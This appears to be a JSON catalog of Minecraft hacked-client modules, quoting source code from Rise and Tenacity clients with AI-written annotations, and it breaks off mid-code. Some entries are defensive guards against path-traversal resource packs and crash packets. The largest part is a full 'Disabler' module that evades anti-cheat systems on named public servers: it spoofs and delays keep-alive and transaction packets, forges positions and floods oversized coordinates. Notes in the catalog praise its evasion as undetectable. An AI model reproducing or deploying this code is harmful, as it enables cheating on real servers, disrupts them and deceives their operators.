{\n            final URI uri = new URI(url);\n\n            final String scheme = uri.getScheme();\n            final boolean isLevelProtocol = \"level\".equals(scheme);\n\n            if (!(\"http\".equals(scheme) || \"https\".equals(scheme) || isLevelProtocol)) {\n                throw new URISyntaxException(url, \"Wrong protocol\");\n            }\n\n            url = URLDecoder.decode(url.substring(\"level://\".length()), StandardCharsets.UTF_8.toString());\n\n            if (isLevelProtocol && (url.contains(\"..\") || !url.endsWith(\"/resources.zip\"))) {\n                System.out.println(\"Server tried to access the path: \" + url);\n\n                throw new URISyntaxException(url, \"Invalid levelstorage resource pack path\");\n            }\n\n            return false;\n        } catch (final Exception e) {\n            PacketUtil.sendNoEvent(new C19PacketResourcePackStatus(hash, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            return true;\n        }\n    }\n}\n// NOTE (AI): ResourcePackCheck is a Rise 6.x SecurityFeature, not a module. It intercepts S48PacketResourcePackSend and only inspects level:// URLs, which is the protocol that reads files from the server's world save directory. The check validates the scheme (http/https/level only), URL-decodes the level path, and rejects traversal (..) or any path not ending in /resources.zip. On any violation it replies C19 with FAILED_DOWNLOAD and cancels the pack, keeping the server's resource-pack state machine consistent.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/security/impl/ResourcePackCheck.java",
      "vanilla_hook": "SecurityFeature packet handle, no module toggle.",
      "anti_cheat_notes": "The FAILED_DOWNLOAD reply matches what a genuine failed download looks like, so pack-gated servers see a normal failure rather than a refusal.",
      "variations": "Identical SecurityFeature in Rise 6.1.30. LiquidSense Dev implements the same scheme guard as a mixin on NetHandlerPlayClient (see the resource pack guard entry)."
     },
     {
      "name": "AntiExploit",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Block malicious resource packs (and other exploit packets) at the receive layer, answering C19 FAILED_DOWNLOAD for blocked packs.",
      "how_it_works": "The PacketReceiveEvent handler rejects non-http/https/level schemes and level:// URLs with traversal or a missing /resources.zip suffix, cancels the S48 and replies C19 with the pack's real hash.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java =====\npackage dev.tenacity.module.impl.misc;\n\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.util.misc.ChatUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.*;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\npublic class AntiExploit extends Module {\n\n\n\n    private long lastExplosion = 0, lastExperience = 0;\n    private int invalidExperience = 0;\n   final int PACKET_THRESHOLD = 100;\n    final long CHECK_INTERVAL = 1000;\n    int packetCount = 0;\n\n    public AntiExploit() {\n        super(\"AntiExploit\", \"Prevents server exploits\", ModuleCategory.MISC);\n    }\n\n    private final IEventListener<PacketReceiveEvent> onReceivePacket = event -> {\n        Packet<?> packet = event.getPacket();\n        handlePacketCount();\n        if(packet instanceof S48PacketResourcePackSend) {\n            S48PacketResourcePackSend resourcePack = (S48PacketResourcePackSend) packet;\n\n            try {\n                URI uri = new URI(resourcePack.getURL());\n                String scheme = uri.getScheme();\n\n                boolean isLevelProtocol = scheme.equalsIgnoreCase(\"level\");\n                boolean isHttpProtocol = scheme.equalsIgnoreCase(\"http\");\n                boolean isHttpsProtocol = scheme.equalsIgnoreCase(\"https\");\n\n                if(!isHttpProtocol && !isHttpsProtocol && !isLevelProtocol) {\n                    ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                    event.cancel();\n                } else if(isLevelProtocol && (resourcePack.getURL().contains(\"..\") || !((S48PacketResourcePackSend) packet).getURL().endsWith(\"/resources.zip\"))) {\n                    ChatUtil.print(\"§cBlocked Exploit: File Access\");\n                    event.cancel();\n                    mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n                }\n            } catch (URISyntaxException exception) {\n                ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                event.cancel();\n                mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            }\n        } else if(packet instanceof S43PacketCamera && !mc.thePlayer.isSpectator()) {\n            ChatUtil.print(\"§cBlocked Exploit: Crash\");\n            event.cancel();\n        } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n            if(Math.abs(particles.getParticleSpeed()) >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(((S2APacketParticles) packet).getParticleCount() > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        } else if(packet instanceof S27PacketExplosion) {\n            S27PacketExplosion explosion = (S27PacketExplosion) packet;\n\n            if(Math.abs(explosion.getStrength()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(System.currentTimeMillis() - lastExplosion <= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n\n            if(Math.abs(particles.getParticleSpeed()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(particles.getParticleCount() >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        }\n\n            lastExplosion = System.currentTimeMillis();\n        } else if(packet instanceof S18PacketEntityTeleport) {\n            S18PacketEntityTeleport teleport = (S18PacketEntityTeleport) packet;\n\n            double packetX = Math.abs(teleport.getX());\n            double packetY = Math.abs(teleport.getY());\n            double packetZ = Math.abs(teleport.getZ());\n\n            if(packetX > 30000000 || packetY > 30000000 || packetZ > 30000000) {\n                ChatUtil.print(\"§cBlocked Exploit: Teleport\");\n                event.cancel();\n            }\n        } else if(packet instanceof S11PacketSpawnExperienceOrb) {\n            if(System.currentTimeMillis() - lastExperience <= 1) {\n                invalidExperience++;\n\n                if(invalidExperience >= 2) {\n                    ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                    event.cancel();\n                }\n            } else {\n                invalidExperience = 0;\n            }\n            lastExperience = System.currentTimeMillis();\n        }\n\n    };\n\n    private void triggerKick() {\n        ChatUtil.print(\"§cAbnormal packet activity detected. Kicking player...\");\n    }\n        private void handlePacketCount() {\n            long currentTime = System.currentTimeMillis();\n\n            long lastPacketCheckTime = 0;\n            if (currentTime - lastPacketCheckTime > CHECK_INTERVAL) {\n                packetCount = 0;\n                lastPacketCheckTime = currentTime;\n            }\n            packetCount++;\n            if (packetCount > PACKET_THRESHOLD) {\n                triggerKick();\n                packetCount = 0;\n        }\n\n    }\n\n}\n// NOTE (AI): AntiExploit's packet receive handler blocks malicious S48 resource packs: non-http/https/level schemes are cancelled with a chat warning, and level:// URLs that contain '..' or do not end in /resources.zip are cancelled and answered with C19 FAILED_DOWNLOAD using the packet's hash. The same handler also blocks S43PacketCamera for non-spectators and particle floods, which is why the module name is broader than resource packs.",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Uses the real S48 hash in the reply, which makes the FAILED_DOWNLOAD fully consistent with the last pack the server sent; undetectable as a block.",
      "variations": "Tenacity's Enhancements utility performs the same scheme check and C19 reply globally, outside any module toggle."
     },
     {
      "name": "Disabler (pack accept spoof)",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "Spoof a resource-pack acceptance with an empty hash to unlock pack-gated server features.",
      "how_it_works": "The c19 disabler mode sends C19 with an empty hash string and ACCEPTED via sendPacketWithoutEvent.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Disabler.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport de.gerrygames.viarewind.utils.ChatUtil;\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.motion.TeleportEvent;\nimport dev.rise.event.impl.other.AttackEvent;\nimport dev.rise.event.impl.other.StrafeEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.module.impl.movement.Fly;\nimport dev.rise.module.impl.movement.LongJump;\nimport dev.rise.module.impl.player.Scaffold;\nimport dev.rise.notifications.NotificationType;\nimport dev.rise.setting.Setting;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.NoteSetting;\nimport dev.rise.util.math.MathUtil;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.pathfinding.MainPathFinder;\nimport dev.rise.util.player.MoveUtil;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.*;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentLinkedDeque;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\n/**\n * This module is designed to disable an anticheat or some of its checks\n * in order to make bypassing easier/having extreme bypasses.\n */\n@ModuleInfo(name = \"Disabler\", description = \"Disables some servers AntiCheats\", category = Category.OTHER)\npublic final class Disabler extends Module {\n\n    private final NoteSetting modeSettings = new NoteSetting(\"Mode Settings\", this);\n    private final BooleanSetting hypixel = new BooleanSetting(\"Hypixel\", this, false);\n    private final BooleanSetting mineland = new BooleanSetting(\"Mineland\", this, false);\n    private final BooleanSetting mmcKeepSprint = new BooleanSetting(\"Minemenclub Keepsprint Check\", this, false);\n    private final BooleanSetting mmcReach = new BooleanSetting(\"Minemenclub Reach Semi\", this, false);\n    private final BooleanSetting hypixelSlime = new BooleanSetting(\"Hypixel Slime\", this, false);\n    private final BooleanSetting dynamicPvP = new BooleanSetting(\"Dynamic PvP\", this, false);\n    private final BooleanSetting ghostlyCombat = new BooleanSetting(\"Ghostly Combat\", this, false);\n    private final BooleanSetting ghostly = new BooleanSetting(\"Ghostly\", this, false);\n    private final BooleanSetting lunar = new BooleanSetting(\"Lunar\", this, false);\n    private final BooleanSetting position = new BooleanSetting(\"Position Edit\", this, false);\n    private final BooleanSetting vulcanCombat = new BooleanSetting(\"Vulcan Reach A\", this, false);\n    private final BooleanSetting verusCombat = new BooleanSetting(\"Verus Combat\", this, false);\n    private final BooleanSetting verus = new BooleanSetting(\"Verus\", this, false);\n    private final BooleanSetting blocksMC = new BooleanSetting(\"BlocksMC\", this, false);\n    private final BooleanSetting sentinel = new BooleanSetting(\"Sentinel\", this, false);\n    private final BooleanSetting shartemis = new BooleanSetting(\"Shartemis Movement\", this, false);\n\n    //Any disabler after this line will be hidden if this is true\n    private final BooleanSetting hideOldDisablers = new BooleanSetting(\"Hide Old Disablers\", this, true);\n\n    private final NoteSetting oldModeSettings = new NoteSetting(\"Old Mode Settings\", this);\n\n    private final BooleanSetting verusOld = new BooleanSetting(\"Verus Old\", this, false);\n    private final BooleanSetting spartan = new BooleanSetting(\"Spartan\", this, false);\n    private final BooleanSetting voidTp = new BooleanSetting(\"Void TP\", this, false);\n    private final BooleanSetting clip = new BooleanSetting(\"Clip\", this, false);\n    private final BooleanSetting tecnioRaper = new BooleanSetting(\"Tecnio AC Disabler\", this, false);\n    private final BooleanSetting convertMovingPackets = new BooleanSetting(\"Covert Moving Packets\", this, false);\n    private final BooleanSetting reverseConvertMovingPackets = new BooleanSetting(\"Reverse Covert Moving Packets\", this, false);\n    private final BooleanSetting funnyCraft = new BooleanSetting(\"Funcraft\", this, false);\n    private final BooleanSetting oxygen = new BooleanSetting(\"Oxygen\", this, false);\n\n    private final NoteSetting packetSettings = new NoteSetting(\"Packet Settings\", this);\n\n    private final BooleanSetting coc = new BooleanSetting(\"PacketInput\", this, false);\n    private final BooleanSetting c0f = new BooleanSetting(\"ConfirmTransaction\", this, false);\n    private final BooleanSetting c00 = new BooleanSetting(\"PacketKeepAlive\", this, false);\n    private final BooleanSetting c08 = new BooleanSetting(\"PacketPlayerBlockPlacement\", this, false);\n    private final BooleanSetting c13 = new BooleanSetting(\"PacketPlayerAbilities\", this, false);\n    private final BooleanSetting c16 = new BooleanSetting(\"PacketClientStatus\", this, false);\n    private final BooleanSetting c18 = new BooleanSetting(\"PacketSpectate\", this, false);\n    private final BooleanSetting c19 = new BooleanSetting(\"PacketResourcePacketStatus\", this, false);\n\n    private final ConcurrentLinkedQueue<Packet<?>> packetList = new ConcurrentLinkedQueue<>();\n    private final ConcurrentLinkedQueue<Packet<?>> packetList2 = new ConcurrentLinkedQueue<>();\n    private final ConcurrentHashMap<Packet<?>, Long> packetHashMap = new ConcurrentHashMap<>();\n    private final ConcurrentLinkedQueue<Packet<?>> transactions = new ConcurrentLinkedQueue<>();\n    private final ConcurrentLinkedQueue<Packet<?>> keepAlives = new ConcurrentLinkedQueue<>();\n\n    public static final ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    public static boolean spoofing;\n    private int ticksSinceTeleport;\n    private long currentDelay;\n    private final TimeUtil timer = new TimeUtil();\n\n    private long nextSend;\n    private boolean teleported;\n    private boolean exempt;\n    private float previousYaw, previousPitch;\n\n    @Override\n    public void onAttackEvent(final AttackEvent event) {\n        if (event.getTarget() != null) {\n            if (ghostlyCombat.isEnabled()) {\n                final double distance = mc.thePlayer.getDistanceToEntity(event.getTarget()) - 0.5657;\n                if (distance > 2.9) {\n                    if (mc.thePlayer.canEntityBeSeen(event.getTarget()))\n                        PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(event.getTarget().posX, event.getTarget().posY, event.getTarget().posZ, false));\n                    else\n                        event.setCancelled(true);\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        boolean hideAllAfter = false;\n        for (final Setting setting : getSettings()) {\n            setting.hidden = hideAllAfter;\n\n            if (hideOldDisablers == setting && hideOldDisablers.isEnabled()) {\n                hideAllAfter = true;\n            }\n        }\n    }\n\n    @Override\n    protected void onEnable() {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        if (hypixel.isEnabled()) {\n            final ChatComponentText chatcomponenttext = new ChatComponentText(\"Rejoin\");\n            mc.getNetHandler().getNetworkManager().closeChannel(chatcomponenttext);\n        }\n\n        if (mmcReach.isEnabled()) {\n            Rise.INSTANCE.getNotificationManager().registerNotification(\"You need low ping for this disabler to not kick.\", NotificationType.WARNING);\n        }\n\n        transactions.clear();\n        keepAlives.clear();\n        teleported = false;\n        timer.reset();\n    }\n\n    @Override\n    protected void onDisable() {\n        packetList.forEach(PacketUtil::sendPacketWithoutEvent);\n        packetList.clear();\n        spoofing = false;\n\n        packetList2.forEach(PacketUtil::sendPacketWithoutEvent);\n        packetList2.clear();\n\n        transactions.clear();\n        keepAlives.clear();\n\n        packetHashMap.clear();\n\n        mc.timer.timerSpeed = 1;\n    }\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        if (hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")) {\n            spoofing = true;\n            for (final PacketUtil.TimedPacket p : packets) {\n                if (System.currentTimeMillis() > p.getTime() + currentDelay) {\n                    PacketUtil.sendPacketWithoutEvent(p.getPacket());\n                    packets.remove(p);\n                    this.currentDelay = Math.round(MathUtil.getRandom(200,250));\n                }\n            }\n        }\n\n\n        if (verusOld.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C0CPacketInput());\n            PacketUtil.sendPacketWithoutEvent(new C18PacketSpectate(UUID.randomUUID()));\n        }\n\n        if (blocksMC.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 100 == 0) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.onGround));\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, -0.015625, mc.thePlayer.posZ, false));\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ, mc.thePlayer.onGround));\n\n                teleported = true;\n            }\n\n            if (timer.hasReached(500L) && !transactions.isEmpty()) {\n                PacketUtil.sendPacketWithoutEvent(transactions.poll());\n\n                timer.reset();\n            }\n\n            if (timer.hasReached(400L) && !keepAlives.isEmpty()) {\n                PacketUtil.sendPacketWithoutEvent(keepAlives.poll());\n\n                timer.reset();\n            }\n        }\n\n        if (hypixelSlime.isEnabled() && mc.thePlayer.capabilities.allowFlying) {\n            if (PlayerUtil.isOnServer(\"Hypixel\")) {\n                final PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n                playerCapabilities.isFlying = true;\n                PacketUtil.sendPacket(new C13PacketPlayerAbilities(playerCapabilities));\n            } else\n                PacketUtil.sendPacket(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.RIDING_JUMP));\n        }\n\n        if (vulcanCombat.isEnabled()) {\n            if (timer.hasReached((long) (5000 + (Math.random() * 1000)))) {\n                packetList2.forEach(PacketUtil::sendPacketWithoutEvent);\n                packetList2.clear();\n                timer.reset();\n            }\n        }\n\n        if (sentinel.isEnabled()) {\n            for (final Iterator<Map.Entry<Packet<?>, Long>> iterator = packetHashMap.entrySet().iterator(); iterator.hasNext(); ) {\n                final Map.Entry<Packet<?>, Long> entry = iterator.next();\n\n                if (entry.getValue() < System.currentTimeMillis()) {\n                    PacketUtil.sendPacket(entry.getKey());\n                    iterator.remove();\n                }\n            }\n        }\n\n        if (mmcReach.isEnabled()) {\n            if (timer.hasReached((long) (500 + (Math.random() * 600)))) {\n                packetList.forEach(PacketUtil::sendPacketWithoutEvent);\n                packetList.clear();\n                timer.reset();\n            }\n        }\n\n        if (oxygen.isEnabled() && mc.thePlayer.onGround) {\n            event.setY(event.getY() + 0.42F);\n            event.setGround(false);\n        }\n\n        if (voidTp.isEnabled() && mc.thePlayer.ticksExisted % 20 == 0)\n            event.setY(event.getY() - 20 - Math.random());\n\n        if (clip.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 20 == 0) {\n                event.setY(event.getY() - 0.42);\n                event.setGround(false);\n            }\n        }\n\n        if (coc.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C0CPacketInput(0.98F, 0.0F, false, false));\n        }\n\n        if (c08.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C08PacketPlayerBlockPlacement(mc.thePlayer.getHeldItem()));\n        }\n\n        if (c13.isEnabled() || shartemis.isEnabled()) {\n            final C13PacketPlayerAbilities abilities = new C13PacketPlayerAbilities();\n\n            abilities.setAllowFlying(true);\n            abilities.setFlying(true);\n\n            PacketUtil.sendPacketWithoutEvent(abilities);\n        }\n\n        if (c16.isEnabled() || shartemis.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C16PacketClientStatus(C16PacketClientStatus.EnumState.PERFORM_RESPAWN));\n        }\n\n        if (c18.isEnabled() || shartemis.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C18PacketSpectate(mc.thePlayer.getUniqueID()));\n        }\n\n        if (c19.isEnabled()) {\n            PacketUtil.sendPacketWithoutEvent(new C19PacketResourcePackStatus(\"\", C19PacketResourcePackStatus.Action.ACCEPTED));\n        }\n\n        if (tecnioRaper.isEnabled()) {\n            for (int i = 0; i < 10; i++) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(\n                        mc.thePlayer.posX, mc.thePlayer.posY, Double.MAX_VALUE, 0.0F, 0.0F, true\n                ));\n            }\n\n            for (int i = 0; i < 40; i++) {\n                PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(\n                        Double.MAX_VALUE, mc.thePlayer.posY, mc.thePlayer.posZ, 0.0F, 0.0F, true\n                ));\n            }\n\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer(true));\n            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer(true));\n\n            tecnioRaper.setEnabled(false);\n        }\n\n        if (funnyCraft.isEnabled()) {\n            if (mc.thePlayer.ticksExisted % 4 == 0) {\n                PacketUtil.sendPacketWithoutEvent(new C0CPacketInput(Float.MAX_VALUE, Float.MAX_VALUE, false, false));\n            }\n        }\n    }\n\n    @Override\n    public void onTeleportEvent(final TeleportEvent event) {\n        if (blocksMC.isEnabled()) {\n            if (teleported) {\n                event.setCancelled(true);\n            }\n\n            teleported = false;\n        }\n        if(hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")){\n            if (mc.thePlayer.ticksExisted < 100) {\n                event.setCancelled(true);\n                return;\n            }\n\n            this.ticksSinceTeleport = 0;\n        }\n\n//        if (mc.thePlayer.getDistance(event.getPosX(), event.getPosY(), event.getPosZ()) <= 9.5) {\n//            PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(event.getPosX(), event.getPosY(), event.getPosZ(), event.getYaw(), event.getPitch(), false));\n//            event.setCancelled(true);\n//        }\n//        teleported = false;\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (mc.isIntegratedServerRunning()) return;\n\n        final Packet<?> p = event.getPacket();\n\n        if (hypixel.isEnabled()) {\n            final Packet<?> packet = event.getPacket();\n\n            if (packet instanceof S08PacketPlayerPosLook) {\n                nextSend = 0;\n            }\n        }\n\n        if (hypixelSlime.isEnabled()) {\n            if (p instanceof S02PacketChat) {\n                final S02PacketChat chatMessage = (S02PacketChat) event.getPacket();\n                if (chatMessage.getType() == 2 && chatMessage.getChatComponent().getUnformattedText().contains(\"UNAVAILABLE\")) {\n                    chatMessage.chatComponent = new ChatComponentText(\"§aDOUBLE JUMP AVAILABLE§r\");\n                }\n            }\n\n            if (p instanceof S29PacketSoundEffect) {\n                final S29PacketSoundEffect packetSoundEffect = (S29PacketSoundEffect) event.getPacket();\n                if (packetSoundEffect.getSoundName().equals(\"mob.slime.big\")) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (p instanceof S2APacketParticles) {\n                final S2APacketParticles particle = (S2APacketParticles) event.getPacket();\n                if (particle.getParticleType() == EnumParticleTypes.SLIME) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (p instanceof S1FPacketSetExperience) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (verus.isEnabled()) {\n            if (p instanceof S08PacketPlayerPosLook && timer.hasReached(1000)) {\n                final S08PacketPlayerPosLook packet = (S08PacketPlayerPosLook) p;\n                if (mc.thePlayer.getDistanceSq(packet.x, packet.y, packet.z) <= 9.5) {\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C06PacketPlayerPosLook(packet.x, packet.y, packet.z, packet.yaw, packet.pitch, false));\n                    event.setCancelled(true);\n                }\n                teleported = false;\n                timer.reset();\n            }\n        }\n    }\n\n    @Override\n    public void onPacketSend(final PacketSendEvent event) {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        final Packet<?> packet = event.getPacket();\n\n        if (hypixel.isEnabled() && PlayerUtil.isOnServer(\"Hypixel\")) {\n\n            if (packet instanceof C03PacketPlayer) {\n                final C03PacketPlayer wrapper = (C03PacketPlayer) packet;\n\n                if (wrapper instanceof C03PacketPlayer.C06PacketPlayerPosLook && ticksSinceTeleport <= 50 && mc.thePlayer.sendQueue.doneLoadingTerrain) {\n                    event.setPacket(new C03PacketPlayer.C04PacketPlayerPosition(wrapper.x + Double.MIN_NORMAL, wrapper.y, wrapper.z - Double.MIN_NORMAL, ((C03PacketPlayer.C06PacketPlayerPosLook) wrapper).isOnGround()));\n                }\n            }\n\n            ticksSinceTeleport++;\n            if (mc.thePlayer == null || !mc.thePlayer.sendQueue.doneLoadingTerrain) {\n                packets.clear();\n                return;\n            }\n\n            if (mc.thePlayer.isDead || mc.isSingleplayer()) {\n                packets.forEach(p -> PacketUtil.sendPacketWithoutEvent(p.getPacket()));\n                packets.clear();\n                return;\n            }\n\n\n            if (spoofing) {\n                if (packet instanceof C0FPacketConfirmTransaction || packet instanceof C00PacketKeepAlive) {\n                    packets.add(new PacketUtil.TimedPacket(packet, System.currentTimeMillis()));\n                    event.setCancelled(true);\n                }\n            } else if (packet instanceof C03PacketPlayer) {\n                packets.forEach(p -> PacketUtil.sendPacketWithoutEvent(p.getPacket()));\n                packets.clear();\n            }\n        }\n\n        if (vulcanCombat.isEnabled() && packet instanceof C0FPacketConfirmTransaction) {\n            packetList2.add(packet);\n            event.setCancelled(true);\n        }\n\n        if (mineland.isEnabled()) {\n            if (event.getPacket() instanceof C03PacketPlayer && !mc.thePlayer.isSwingInProgress && !mc.thePlayer.isUsingItem() && !((C03PacketPlayer) event.getPacket()).isMoving()) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (blocksMC.isEnabled()) {\n\n            if (packet instanceof C0FPacketConfirmTransaction) {\n                transactions.add(packet);\n                event.setCancelled(true);\n\n                if (transactions.size() > 300) {\n                    PacketUtil.sendPacketWithoutEvent(transactions.poll());\n                }\n            }\n\n            if (packet instanceof C00PacketKeepAlive) {\n                final C00PacketKeepAlive c00 = (C00PacketKeepAlive) packet;\n\n                c00.key -= 30;\n                keepAlives.add(c00);\n                event.setCancelled(true);\n            }\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (mc.thePlayer.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        mc.thePlayer.serverSprintState = false;\n                    }\n\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C03PacketPlayer && !mc.thePlayer.isSwingInProgress &&\n                    !mc.thePlayer.isUsingItem() && !((C03PacketPlayer) packet).isMoving()) {\n                event.setCancelled(true);\n            }\n        }\n\n        if (verus.isEnabled()) {\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.STOP_SPRINTING)) {\n                    event.setCancelled(true);\n                }\n            }\n\n            if (packet instanceof C00PacketKeepAlive) {\n                final C00PacketKeepAlive c00 = (C00PacketKeepAlive) packet;\n                c00.key = -c00.key;\n            }\n\n            if (packet instanceof C03PacketPlayer) {\n                final C03PacketPlayer c03 = (C03PacketPlayer) packet;\n\n                mc.timer.timerSpeed = 0.75F;\n\n                if (c03.y % 0.015625 == 0)\n                    c03.setOnGround(true);\n\n                if (timer.hasReached(1000) && !teleported) {\n                    PacketUtil.sendPacketWithoutEvent(new C03PacketPlayer.C04PacketPlayerPosition());\n                    teleported = true;\n                }\n\n                if (mc.thePlayer.ticksExisted % 100 == 0)\n                    teleported = false;\n            }\n        }\n\n        if (verusCombat.isEnabled() && mc.thePlayer.ticksExisted > 20 && !mc.thePlayer.capabilities.allowFlying) {\n            if (packet instanceof C0FPacketConfirmTransaction)\n                event.setCancelled(true);\n        }\n\n        if (position.isEnabled() && packet instanceof C03PacketPlayer) {\n            final C03PacketPlayer c03 = (C03PacketPlayer) event.getPacket();\n            c03.setY(c03.getY() + 0.015625);\n        }\n\n        if (ghostly.isEnabled()) {\n            if (packet instanceof C03PacketPlayer) {\n                PacketUtil.sendPacketWithoutEvent(new C0CPacketInput());\n\n                C03PacketPlayer c03PacketPlayer = ((C03PacketPlayer) packet);\n                double mathGround = Math.round(c03PacketPlayer.y / 0.015625) * 0.015625;\n\n                c03PacketPlayer.y = mathGround;\n                c03PacketPlayer.setOnGround(true);\n                event.setPacket(c03PacketPlayer);\n            }\n\n            if (packet instanceof C0BPacketEntityAction) {\n                final C0BPacketEntityAction c0B = (C0BPacketEntityAction) packet;\n\n                if (c0B.getAction().equals(C0BPacketEntityAction.Action.START_SPRINTING)) {\n                    if (EntityPlayerSP.serverSprintState) {\n                        PacketUtil.sendPacketWithoutEvent(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n                        EntityPlayerSP.serverSprintState = false;\n                    }\n                    event.setCancelled(true);\n                }\n\n                if 